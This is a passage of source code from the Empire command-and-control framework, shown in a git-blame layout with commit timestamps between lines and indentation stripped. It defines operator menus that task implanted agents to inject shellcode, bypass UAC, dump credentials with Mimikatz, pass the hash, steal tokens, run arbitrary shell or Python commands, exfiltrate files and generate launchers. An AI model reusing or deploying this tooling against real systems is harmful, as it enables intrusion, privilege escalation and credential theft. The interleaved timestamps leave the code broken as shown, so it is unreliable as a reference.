if self.mainMenu.modules.modules['powershell/code_execution/invoke_shellcode']:
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
module = self.mainMenu.modules.modules['powershell/code_execution/invoke_shellcode']
2015-08-05 18:36:39 +00:00
module.options['Listener']['Value'] = listenerID
2016-09-23 18:04:35 +00:00
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2015-08-05 18:36:39 +00:00
if pid != '':
module.options['ProcessID']['Value'] = pid
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu(self.mainMenu, 'powershell/code_execution/invoke_shellcode')
module_menu.cmdloop()
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] Please enter <listenerName> <pid>")
else:
2016-09-23 18:04:35 +00:00
print helpers.color("[!] powershell/code_execution/invoke_shellcode module not loaded")
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] Injection requires you to specify listener")
2016-09-23 18:04:35 +00:00
2016-03-31 21:27:15 +00:00
def do_sc(self, line):
"Takes a screenshot, default is PNG. Giving a ratio means using JPEG. Ex. sc [1-100]"
2016-03-31 21:27:15 +00:00
# get the info for the psinject module
if len(line.strip()) > 0:
2016-03-31 21:27:15 +00:00
# JPEG compression ratio
try:
screenshot_ratio = str(int(line.strip()))
except Exception:
2016-03-31 21:27:15 +00:00
print helpers.color("[*] JPEG Ratio incorrect. Has been set to 80.")
screenshot_ratio = "80"
2016-03-31 21:27:15 +00:00
else:
2016-09-23 18:04:35 +00:00
screenshot_ratio = ''
2016-09-23 18:04:35 +00:00
if self.mainMenu.modules.modules['powershell/collection/screenshot']:
module = self.mainMenu.modules.modules['powershell/collection/screenshot']
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
module.options['Ratio']['Value'] = screenshot_ratio
2016-03-31 21:27:15 +00:00
# execute the screenshot module
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu(self.mainMenu, 'powershell/collection/screenshot')
module_menu.do_execute("")
2016-03-31 21:27:15 +00:00
else:
2016-09-23 18:04:35 +00:00
print helpers.color("[!] powershell/collection/screenshot module not loaded")
2015-08-05 18:36:39 +00:00
def do_spawn(self, line):
"Spawns a new Empire agent for the given listener name. Ex. spawn <listener>"
2015-08-05 18:36:39 +00:00
# get the info for the spawn module
if line:
2016-09-23 18:04:35 +00:00
listenerID = line.split(' ')[0].strip()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
2015-08-05 18:36:39 +00:00
# ensure the inject module is loaded
2016-09-23 18:04:35 +00:00
if self.mainMenu.modules.modules['powershell/management/spawn']:
module = self.mainMenu.modules.modules['powershell/management/spawn']
2015-08-05 18:36:39 +00:00
module.options['Listener']['Value'] = listenerID
2016-09-23 18:04:35 +00:00
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2015-08-05 18:36:39 +00:00
# jump to the spawn module
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu(self.mainMenu, "powershell/management/spawn")
module_menu.cmdloop()
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] management/spawn module not loaded")
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] Please enter a valid listener name or ID.")
else:
print helpers.color("[!] Please specify a listener name or ID.")
def do_bypassuac(self, line):
"Runs BypassUAC, spawning a new high-integrity agent for a listener. Ex. spawn <listener>"
2015-08-05 18:36:39 +00:00
# get the info for the bypassuac module
if line:
2016-09-23 18:04:35 +00:00
listenerID = line.split(' ')[0].strip()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
2015-08-05 18:36:39 +00:00
# ensure the inject module is loaded
2016-09-23 18:04:35 +00:00
if self.mainMenu.modules.modules['powershell/privesc/bypassuac_eventvwr']:
module = self.mainMenu.modules.modules['powershell/privesc/bypassuac_eventvwr']
2015-08-05 18:36:39 +00:00
module.options['Listener']['Value'] = listenerID
2016-09-23 18:04:35 +00:00
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2015-08-05 18:36:39 +00:00
# jump to the spawn module
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu(self.mainMenu, 'powershell/privesc/bypassuac_eventvwr')
module_menu.do_execute('')
2015-08-05 18:36:39 +00:00
else:
2016-09-23 18:04:35 +00:00
print helpers.color("[!] powershell/privesc/bypassuac_eventvwr module not loaded")
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] Please enter a valid listener name or ID.")
else:
print helpers.color("[!] Please specify a listener name or ID.")
def do_mimikatz(self, line):
"Runs Invoke-Mimikatz on the client."
# ensure the credentials/mimiktaz/logonpasswords module is loaded
2016-09-23 18:04:35 +00:00
if self.mainMenu.modules.modules['powershell/credentials/mimikatz/logonpasswords']:
module = self.mainMenu.modules.modules['powershell/credentials/mimikatz/logonpasswords']
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2015-08-05 18:36:39 +00:00
# execute the Mimikatz module
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu(self.mainMenu, 'powershell/credentials/mimikatz/logonpasswords')
module_menu.do_execute('')
2015-08-05 18:36:39 +00:00
def do_pth(self, line):
"Executes PTH for a CredID through Mimikatz."
2015-08-05 18:36:39 +00:00
credID = line.strip()
2016-09-23 18:04:35 +00:00
if credID == '':
2015-08-05 18:36:39 +00:00
print helpers.color("[!] Please specify a <CredID>.")
return
2016-09-23 18:04:35 +00:00
if self.mainMenu.modules.modules['powershell/credentials/mimikatz/pth']:
2015-08-05 18:36:39 +00:00
# reload the module to reset the default values
2016-09-23 18:04:35 +00:00
module = self.mainMenu.modules.reload_module('powershell/credentials/mimikatz/pth')
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
module = self.mainMenu.modules.modules['powershell/credentials/mimikatz/pth']
2015-08-05 18:36:39 +00:00
# set mimikt/pth to use the given CredID
module.options['CredID']['Value'] = credID
# set the agent ID
2016-09-23 18:04:35 +00:00
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2015-08-05 18:36:39 +00:00
# execute the mimikatz/pth module
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu(self.mainMenu, 'powershell/credentials/mimikatz/pth')
module_menu.do_execute('')
2015-08-05 18:36:39 +00:00
def do_steal_token(self, line):
"Uses credentials/tokens to impersonate a token for a given process ID."
2015-08-05 18:36:39 +00:00
processID = line.strip()
2016-09-23 18:04:35 +00:00
if processID == '':
2015-08-05 18:36:39 +00:00
print helpers.color("[!] Please specify a process ID.")
return
2016-09-23 18:04:35 +00:00
if self.mainMenu.modules.modules['powershell/credentials/tokens']:
2015-08-05 18:36:39 +00:00
# reload the module to reset the default values
2016-09-23 18:04:35 +00:00
module = self.mainMenu.modules.reload_module('powershell/credentials/tokens')
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
module = self.mainMenu.modules.modules['powershell/credentials/tokens']
2015-08-05 18:36:39 +00:00
# set credentials/token to impersonate the given process ID token
2016-09-23 18:04:35 +00:00
module.options['ImpersonateUser']['Value'] = 'True'
2015-08-05 18:36:39 +00:00
module.options['ProcessID']['Value'] = processID
# set the agent ID
2016-09-23 18:04:35 +00:00
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2015-08-05 18:36:39 +00:00
# execute the token module
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu(self.mainMenu, 'powershell/credentials/tokens')
module_menu.do_execute('')
2015-08-05 18:36:39 +00:00
# run a sysinfo to update
self.do_sysinfo(line)
2015-08-05 18:36:39 +00:00
def do_revtoself(self, line):
"Uses credentials/tokens to revert token privileges."
2016-09-23 18:04:35 +00:00
if self.mainMenu.modules.modules['powershell/credentials/tokens']:
2015-08-05 18:36:39 +00:00
# reload the module to reset the default values
2016-09-23 18:04:35 +00:00
module = self.mainMenu.modules.reload_module('powershell/credentials/tokens')
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
module = self.mainMenu.modules.modules['powershell/credentials/tokens']
2015-08-05 18:36:39 +00:00
# set credentials/token to revert to self
module.options['RevToSelf']['Value'] = "True"
# set the agent ID
2016-09-23 18:04:35 +00:00
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2015-08-05 18:36:39 +00:00
# execute the token module
2016-09-23 18:04:35 +00:00
module_menu = ModuleMenu(self.mainMenu, "powershell/credentials/tokens")
module_menu.do_execute('')
2015-08-05 18:36:39 +00:00
# run a sysinfo to update
self.do_sysinfo(line)
2015-08-05 18:36:39 +00:00
def do_creds(self, line):
"Display/return credentials from the database."
self.mainMenu.do_creds(line)
def complete_psinject(self, text, line, begidx, endidx):
"Tab-complete psinject option values."
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in self.mainMenu.listeners.get_listener_names() if s.startswith(mline)]
def complete_injectshellcode(self, text, line, begidx, endidx):
"Tab-complete injectshellcode option values."
return self.complete_psinject(text, line, begidx, endidx)
def complete_spawn(self, text, line, begidx, endidx):
"Tab-complete spawn option values."
return self.complete_psinject(text, line, begidx, endidx)
def complete_bypassuac(self, text, line, begidx, endidx):
"Tab-complete bypassuac option values."
return self.complete_psinject(text, line, begidx, endidx)
def complete_jobs(self, text, line, begidx, endidx):
"Tab-complete jobs management options."
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in ["kill"] if s.startswith(mline)]
def complete_scriptimport(self, text, line, begidx, endidx):
"Tab-complete a PowerShell script path"
return helpers.complete_path(text, line)
2015-08-05 18:36:39 +00:00
def complete_scriptcmd(self, text, line, begidx, endidx):
"Tab-complete a script cmd set."
functions = self.mainMenu.agents.get_agent_functions(self.sessionID)
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in functions if s.startswith(mline)]
def complete_usemodule(self, text, line, begidx, endidx):
"Tab-complete an Empire PowerShell module path"
2016-09-23 18:04:35 +00:00
return self.mainMenu.complete_usemodule(text, line, begidx, endidx, language='powershell')
2015-08-05 18:36:39 +00:00
def complete_upload(self, text, line, begidx, endidx):
"Tab-complete an upload file path"
return helpers.complete_path(text, line)
2015-08-05 18:36:39 +00:00
def complete_updateprofile(self, text, line, begidx, endidx):
"Tab-complete an updateprofile path"
return helpers.complete_path(text, line)
2015-08-05 18:36:39 +00:00
def complete_creds(self, text, line, begidx, endidx):
"Tab-complete 'creds' commands."
return self.mainMenu.complete_creds(text, line, begidx, endidx)
2016-09-23 18:04:35 +00:00
class PythonAgentMenu(cmd.Cmd):
def __init__(self, mainMenu, sessionID):
2015-08-05 18:36:39 +00:00
cmd.Cmd.__init__(self)
self.mainMenu = mainMenu
2016-09-23 18:04:35 +00:00
self.sessionID = sessionID
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
self.doc_header = 'Agent Commands'
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# try to resolve the sessionID to a name
name = self.mainMenu.agents.get_agent_name_db(sessionID)
# set the text prompt
self.prompt = '(Empire: ' + helpers.color(name, 'red') + ') > '
# listen for messages from this specific agent
dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
# display any results from the database that were stored
# while we weren't interacting with the agent
results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
if results:
print "\n" + results.rstrip('\r\n')
2015-08-05 18:36:39 +00:00
# def preloop(self):
# traceback.print_stack()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def handle_agent_event(self, signal, sender):
"""
Handle agent event signals.
"""
if "[!] Agent" in signal and "exiting" in signal: pass
name = self.mainMenu.agents.get_agent_name_db(self.sessionID)
if (str(self.sessionID) + ' returned results' in signal) or (str(name) + ' returned results' in signal):
# display any results returned by this agent that are returned
# while we are interacting with it
results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
if results:
print "\n" + results
elif "[+] Part of file" in signal and "saved" in signal:
if (str(self.sessionID) in signal) or (str(name) in signal):
print helpers.color(signal)
2015-08-05 18:36:39 +00:00
# print a nicely formatted help menu
2016-09-23 18:04:35 +00:00
# stolen/adapted from recon-ng
def print_topics(self, header, cmds, cmdlen, maxcol):
if cmds:
self.stdout.write("%s\n" % str(header))
2015-08-05 18:36:39 +00:00
if self.ruler:
self.stdout.write("%s\n" % str(self.ruler * len(header)))
2016-09-23 18:04:35 +00:00
for c in cmds:
self.stdout.write("%s %s\n" % (c.ljust(17), getattr(self, 'do_' + c).__doc__))
2015-08-05 18:36:39 +00:00
self.stdout.write("\n")
def emptyline(self):
pass
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def default(self, line):
"Default handler"
print helpers.color("[!] Command not recognized, use 'help' to see available commands")
2015-08-05 18:36:39 +00:00
def do_back(self, line):
2016-09-23 18:04:35 +00:00
"Go back a menu."
return True
2016-03-22 18:32:47 +00:00
def do_agents(self, line):
"Jump to the Agents menu."
raise NavAgents()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def do_listeners(self, line):
"Jump to the listeners menu."
raise NavListeners()
2015-08-05 18:36:39 +00:00
def do_main(self, line):
"Go back to the main menu."
raise NavMain()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def do_help(self, *args):
"Displays the help menu or syntax for particular commands."
cmd.Cmd.do_help(self, *args)
2016-03-22 18:32:47 +00:00
2016-09-23 18:04:35 +00:00
def do_list(self, line):
"Lists all active agents (or listeners)."
2016-09-23 18:04:35 +00:00
if line.lower().startswith("listeners"):
self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
elif line.lower().startswith("agents"):
self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
else:
print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
2016-09-23 18:04:35 +00:00
def do_rename(self, line):
"Rename the agent."
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
parts = line.strip().split(' ')
oldname = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# name sure we get a new name to rename this agent
if len(parts) == 1 and parts[0].strip() != '':
# replace the old name with the new name
result = self.mainMenu.agents.rename_agent(oldname, parts[0])
if result:
self.prompt = "(Empire: " + helpers.color(parts[0], 'red') + ") > "
else:
print helpers.color("[!] Please enter a new name for the agent")
2015-08-05 18:36:39 +00:00
def do_info(self, line):
2016-09-23 18:04:35 +00:00
"Display information about this agent"
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# get the agent name, if applicable
agent = self.mainMenu.agents.get_agent_db(self.sessionID)
messages.display_agent(agent)
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def do_exit(self, line):
"Task agent to exit."
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
try:
choice = raw_input(helpers.color("[>] Task agent to exit? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, 'TASK_EXIT')
# update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to exit")
return True
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
except KeyboardInterrupt as e:
print ""
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def do_clear(self, line):
"Clear out agent tasking."
self.mainMenu.agents.clear_agent_tasks_db(self.sessionID)
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def do_cd(self, line):
"Change an agent's active directory"
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
line = line.strip()
if line != "":
# have to be careful with inline python and no threading
# this can cause the agent to crash so we will use try / cath
# task the agent with this shell command
if line == "..":
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", 'import os; os.chdir(os.pardir); print "Directory stepped down: %s"' % (line))
2015-08-05 18:36:39 +00:00
else:
2016-09-23 18:04:35 +00:00
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", 'import os; os.chdir("%s"); print "Directory changed to: %s"' % (line, line))
# update the agent log
msg = "Tasked agent to change active directory to: %s" % (line)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def do_jobs(self, line):
"Return jobs or kill a running job."
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
parts = line.split(' ')
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if len(parts) == 1:
if parts[0] == '':
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_GETJOBS")
# update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get running jobs")
else:
print helpers.color("[!] Please use form 'jobs kill JOB_ID'")
elif len(parts) == 2:
jobID = parts[1].strip()
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_STOPJOB", jobID)
# update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID))
2016-09-23 18:04:35 +00:00
def do_sleep(self, line):
"Task an agent to 'sleep interval [jitter]'"
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
parts = line.strip().split(' ')
delay = parts[0]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# make sure we pass a int()
if len(parts) >= 1:
try:
int(delay)
except:
print helpers.color("[!] Please only enter integer for 'interval'")
return
if len(parts) > 1:
try:
int(parts[1])
except:
print helpers.color("[!] Please only enter integer for '[jitter]'")
return
if delay == "":
# task the agent to display the delay/jitter
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; print 'delay/jitter = ' + str(delay)+'/'+str(jitter)")
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display delay/jitter")
elif len(parts) > 0 and parts[0] != "":
delay = parts[0]
jitter = 0.0
if len(parts) == 2:
jitter = parts[1]
# update this agent's information in the database
self.mainMenu.agents.set_agent_field_db("delay", delay, self.sessionID)
self.mainMenu.agents.set_agent_field_db("jitter", jitter, self.sessionID)
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; delay=%s; jitter=%s; print 'delay/jitter set to %s/%s'" % (delay, jitter, delay, jitter))
# update the agent log
msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_lostlimit(self, line):
"Task an agent to display change the limit on lost agent detection"
parts = line.strip().split(' ')
lostLimit = parts[0]
if lostLimit == "":
# task the agent to display the lostLimit
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; print 'lostLimit = ' + str(lostLimit)")
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display lost limit")
else:
# update this agent's information in the database
self.mainMenu.agents.set_agent_field_db("lost_limit", lostLimit, self.sessionID)
# task the agent with the new lostLimit
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; lostLimit=%s; print 'lostLimit set to %s'"%(lostLimit, lostLimit))
# update the agent log
msg = "Tasked agent to change lost limit " + str(lostLimit)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_killdate(self, line):
"Get or set an agent's killdate (01/01/2016)."
parts = line.strip().split(' ')
killDate = parts[0]
if killDate == "":
# task the agent to display the killdate
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; print 'killDate = ' + str(killDate)")
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display killDate")
else:
# update this agent's information in the database
self.mainMenu.agents.set_agent_field_db("kill_date", killDate, self.sessionID)
# task the agent with the new killDate
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; killDate='%s'; print 'killDate set to %s'" % (killDate, killDate))
# update the agent log
msg = "Tasked agent to set killdate to %s" %(killDate)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_workinghours(self, line):
"Get or set an agent's working hours (9:00-17:00)."
parts = line.strip().split(' ')
hours = parts[0]
if hours == "":
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global workingHours; print 'workingHours = ' + str(workingHours)")
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get working hours")
else:
# update this agent's information in the database
self.mainMenu.agents.set_agent_field_db("working_hours", hours, self.sessionID)
# task the agent with the new working hours
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global workingHours; workingHours= '%s'"%(hours))
# update the agent log
msg = "Tasked agent to set working hours to: %s" % (hours)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_shell(self, line):
"Task an agent to use a shell command."
line = line.strip()
if line != "":
# task the agent with this shell command
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", str(line))
# update the agent log
msg = "Tasked agent to run shell command: %s" % (line)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_python(self, line):
"Task an agent to run a Python command."
line = line.strip()
if line != "":
# task the agent with this shell command
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", str(line))
# update the agent log
msg = "Tasked agent to run Python command %s" % (line)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_sysinfo(self, line):
"Task an agent to get system information."
# task the agent with this shell command
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SYSINFO")
# update the agent log
self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get system information")
def do_download(self, line):
"Task an agent to download a file."
line = line.strip()
if line != "":
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_DOWNLOAD", line)
# update the agent log
msg = "Tasked agent to download: %s" % (line)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_upload(self, line):
"Task an agent to upload a file."
# "upload /path/file.ext" or "upload /path/file/file.ext newfile.ext"
# absolute paths accepted
parts = line.strip().split(' ')
uploadname = ""
if len(parts) > 0 and parts[0] != "":
if len(parts) == 1:
# if we're uploading the file with its original name
uploadname = os.path.basename(parts[0])
else:
# if we're uploading the file as a different name
uploadname = parts[1].strip()
if parts[0] != "" and os.path.exists(parts[0]):
# TODO: reimplement Python file upload
pass
# # read in the file and base64 encode it for transport
# f = open(parts[0], 'r')
# fileData = f.read()
# f.close()
# # Get file size
# print helpers.color("[*] Starting size of %s for upload: %s" %(uploadname, helpers.get_file_size(fileData)), color="green")
# msg = "Tasked agent to upload " + parts[0] + " : " + hashlib.md5(fileData).hexdigest()
# # update the agent log with the filename and MD5
# self.mainMenu.agents.save_agent_log(self.sessionID, msg)
# # compress data before we base64
# c = compress.compress()
# start_crc32 = c.crc32_data(fileData)
# comp_data = c.comp_data(fileData, 9)
# fileData = c.build_header(comp_data, start_crc32)
# # get final file size
# print helpers.color("[*] Final tasked size of %s for upload: %s" %(uploadname, helpers.get_file_size(fileData)), color="green")
# fileData = helpers.encode_base64(fileData)
# # upload packets -> "filename | script data"
# data = uploadname + "|" + fileData
# self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPLOAD", data)
else:
print helpers.color("[!] Please enter a valid file path to upload")
def do_usemodule(self, line):
"Use an Empire Python module."
module = "python/%s" %(line.strip())
if module not in self.mainMenu.modules.modules:
print helpers.color("[!] Error: invalid module")
else:
module_menu = ModuleMenu(self.mainMenu, module, agent=self.sessionID)
module_menu.cmdloop()
def do_searchmodule(self, line):
"Search Empire module names/descriptions."
searchTerm = line.strip()
if searchTerm.strip() == "":
print helpers.color("[!] Please enter a search term.")
else:
self.mainMenu.modules.search_modules(searchTerm)
def do_creds(self, line):
"Display/return credentials from the database."
self.mainMenu.do_creds(line)
def complete_usemodule(self, text, line, begidx, endidx):
"Tab-complete an Empire Python module path"
return self.mainMenu.complete_usemodule(text, line, begidx, endidx, language='python')
def complete_upload(self, text, line, begidx, endidx):
"Tab-complete an upload file path"
return helpers.complete_path(text, line)
# def complete_updateprofile(self, text, line, begidx, endidx):
# "Tab-complete an updateprofile path"
# return helpers.complete_path(text,line)
class ListenersMenu(cmd.Cmd):
"""
The main class used by Empire to drive the 'listener' menu.
"""
def __init__(self, mainMenu):
cmd.Cmd.__init__(self)
self.mainMenu = mainMenu
self.doc_header = 'Listener Commands'
# set the prompt text
self.prompt = '(Empire: ' + helpers.color('listeners', color='blue') + ') > '
# display all active listeners on menu startup
messages.display_active_listeners(self.mainMenu.listeners.activeListeners)
# def preloop(self):
# traceback.print_stack()
# print a nicely formatted help menu
# stolen/adapted from recon-ng
def print_topics(self, header, commands, cmdlen, maxcol):
if commands:
self.stdout.write("%s\n" % str(header))
if self.ruler:
self.stdout.write("%s\n" % str(self.ruler * len(header)))
for command in commands:
self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
self.stdout.write("\n")
def emptyline(self):
pass
def do_back(self, line):
"Go back to the main menu."
raise NavMain()
def do_agents(self, line):
"Jump to the Agents menu."
raise NavAgents()
def do_main(self, line):
"Go back to the main menu."
raise NavMain()
def do_exit(self, line):
"Exit Empire."
raise KeyboardInterrupt
def do_list(self, line):
"List all active listeners (or agents)."
if line.lower().startswith('agents'):
self.mainMenu.do_list('agents ' + str(' '.join(line.split(' ')[1:])))
elif line.lower().startswith("listeners"):
self.mainMenu.do_list('listeners ' + str(' '.join(line.split(' ')[1:])))
else:
self.mainMenu.do_list('listeners ' + str(line))
def do_kill(self, line):
"Kill one or all active listeners."
listenerID = line.strip()
if listenerID.lower() == 'all':
try:
choice = raw_input(helpers.color('[>] Kill all listeners? [y/N] ', 'red'))
if choice.lower() != '' and choice.lower()[0] == 'y':
self.mainMenu.listeners.kill_listener('all')
except KeyboardInterrupt:
print ''
else:
self.mainMenu.listeners.kill_listener(listenerID)
def do_usestager(self, line):
"Use an Empire stager."
parts = line.split(' ')
if parts[0] not in self.mainMenu.stagers.stagers:
print helpers.color("[!] Error: invalid stager module")
2015-08-05 18:36:39 +00:00
elif len(parts) == 1:
stager_menu = StagerMenu(self.mainMenu, parts[0])
stager_menu.cmdloop()
2015-08-05 18:36:39 +00:00
elif len(parts) == 2:
listener = parts[1]
if not self.mainMenu.listeners.is_listener_valid(listener):
print helpers.color("[!] Please enter a valid listener name or ID")
else:
self.mainMenu.stagers.set_stager_option('Listener', listener)
stager_menu = StagerMenu(self.mainMenu, parts[0])
stager_menu.cmdloop()
2015-08-05 18:36:39 +00:00
else:
print helpers.color("[!] Error in ListenerMenu's do_userstager()")
2016-09-23 18:04:35 +00:00
def do_uselistener(self, line):
"Use an Empire listener module."
parts = line.split(' ')
if parts[0] not in self.mainMenu.listeners.loadedListeners:
print helpers.color("[!] Error: invalid listener module")
else:
listenerMenu = ListenerMenu(self.mainMenu, parts[0])
listenerMenu.cmdloop()
def do_info(self, line):
"Display information for the given active listener."
listenerName = line.strip()
if listenerName not in self.mainMenu.listeners.activeListeners:
print helpers.color("[!] Invalid listener name")
else:
messages.display_active_listener(self.mainMenu.listeners.activeListeners[listenerName])
2015-08-05 18:36:39 +00:00
def do_launcher(self, line):
"Generate an initial launcher for a listener."
2016-09-23 18:04:35 +00:00
parts = line.strip().split()
if len(parts) != 2:
print helpers.color("[!] Please enter 'launcher <language> <listenerName>'")
return
2015-08-05 18:36:39 +00:00
else:
2016-09-23 18:04:35 +00:00
language = parts[0].lower()
listenerName = self.mainMenu.listeners.get_listener_name(parts[1])
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if listenerName:
try:
# set the listener value for the launcher
stager = self.mainMenu.stagers.stagers['multi/launcher']
stager.options['Listener']['Value'] = listenerName
stager.options['Language']['Value'] = language
stager.options['Base64']['Value'] = "True"
print stager.generate()
except Exception as e:
print helpers.color("[!] Error generating launcher: %s" % (e))
2015-08-05 18:36:39 +00:00
else:
2016-09-23 18:04:35 +00:00
print helpers.color("[!] Please enter a valid listenerName")
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def complete_usestager(self, text, line, begidx, endidx):
"Tab-complete an Empire stager module path."
return self.mainMenu.complete_usestager(text, line, begidx, endidx)
2016-09-23 18:04:35 +00:00
def complete_kill(self, text, line, begidx, endidx):
"Tab-complete listener names"
2016-09-23 18:04:35 +00:00
# get all the listener names
names = self.mainMenu.listeners.activeListeners.keys() + ["all"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in names if s.startswith(mline)]
2016-09-23 18:04:35 +00:00
def complete_launcher(self, text, line, begidx, endidx):
"Tab-complete language types and listener names/IDs"
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
languages = ['powershell', 'python']
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if line.split(' ')[1].lower() in languages:
# if we already have a language name, tab-complete listener names
2015-08-05 18:36:39 +00:00
listenerNames = self.mainMenu.listeners.get_listener_names()
2016-09-23 18:04:35 +00:00
end_line = ' '.join(line.split(' ')[1:])
mline = end_line.partition(' ')[2]
2015-08-05 18:36:39 +00:00
offs = len(mline) - len(text)
return [s[offs:] for s in listenerNames if s.startswith(mline)]
2016-09-23 18:04:35 +00:00
else:
# otherwise tab-complate the stager names
